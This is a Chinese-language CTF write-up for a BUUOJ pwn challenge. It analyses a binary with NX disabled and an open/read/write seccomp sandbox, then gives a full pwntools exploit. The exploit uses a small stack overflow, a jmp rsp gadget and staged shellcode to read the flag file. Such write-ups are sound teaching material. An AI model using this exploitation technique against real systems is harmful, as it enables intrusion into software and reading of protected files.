手写shellcode 但是比较简单 记录一下思路
保护机制
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110) [*] '/home/chen/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
ida看一下
__int64 __fastcall main (int a1, char **a2, char **a3) { mmap((void *)0x123000 , 0x1000 uLL, 6 , 34 , -1 , 0LL ); seccomp(); buffer(); vuln(); return 0LL ; }
mmap开辟了一块内存 地址从0x123000 - 0x124000 权限是可写可执行
还有三个函数 跟进一下看看
__int64 seccomp () { __int64 v1; v1 = seccomp_init(0LL ); seccomp_rule_add(v1, 2147418112LL , 0LL , 0LL ); seccomp_rule_add(v1, 2147418112LL , 1LL , 0LL ); seccomp_rule_add(v1, 2147418112LL , 2LL , 0LL ); seccomp_rule_add(v1, 2147418112LL , 60LL , 0LL ); return seccomp_load(v1); }
开沙盒了 看看限制了啥
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009 0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009 0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x06 0x00 0x00 0x00000000 return KILL
只能允许open read write三个函数 那就是orw了
接着跟进下一个函数
void buffer () { setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); }
清空了缓存区 这个没啥好说的 跟进下一个函数
int vuln () { char buf[32 ]; puts ("Easy shellcode, have fun!" ); read(0 , buf, 0x38 uLL); return puts ("Baddd! Focu5 me! Baddd! Baddd!" ); }
给了一次0x10字节栈溢出的机会 这种情况下大概率就是手写shellcode了 应该是有哪个地方给了jmp rsp指令 ropgadget找一下
chen@chen-virtual-machine:~$ ROPgadget --binary pwn --only 'jmp|rsp' Gadgets information ============================================================ 0x00000000004002d8 : jmp 0x4002ad 0x000000000040078b : jmp 0x400770 0x00000000004008eb : jmp 0x400880 0x0000000000400b03 : jmp 0x400b7a 0x0000000000400b87 : jmp qword ptr [rax - 0x68000000] 0x0000000000400ceb : jmp qword ptr [rbp] 0x0000000000400865 : jmp rax 0x0000000000400a01 : jmp rsp Unique gadgets found: 8
果然有一个 不过由于0x10还要算上jmp rsp 那么给shellcode的字节就只有8字节了 这显然是啥也干不了的 gdb动调看了下寄存器 都要我们重新赋值 这个时候可以利用sub rsp来往上抬栈 从而使得原本是用垃圾数据填充的部分可以被我们利用起来
完整exp:
from pwn import *context.log_level = 'debug' io = remote("node4.buuoj.cn" ,26981 ) elf = ELF('./pwn' ) libc = ELF("./buu_libc_ubuntu16_64" ) context.arch = "amd64" context.terminal = ['tmux' ,'splitw' ,'-h' ] jmp_rsp = 0x400A01 magic_addr = 0x123000 io.recvuntil("Easy shellcode, have fun!" ) shellcode = """ xor eax,eax xor edi,edi mov edx,200 mov rsi,0x123500 syscall jmp rsi """ shellcode2 = """ sub rsp,0x30 jmp rsp """ payload = asm(shellcode).ljust(0x28 ,b'\x00' )+p64(jmp_rsp)+asm(shellcode2) io.send(payload) shellcode3 = asm(shellcraft.open ('./flag' )) shellcode3 += asm(shellcraft.read(3 ,magic_addr+0x50 ,0x50 )) shellcode3 += asm(shellcraft.write(1 ,magic_addr+0x50 ,0x50 )) io.send(shellcode3) io.recv() io.recv() io.recv()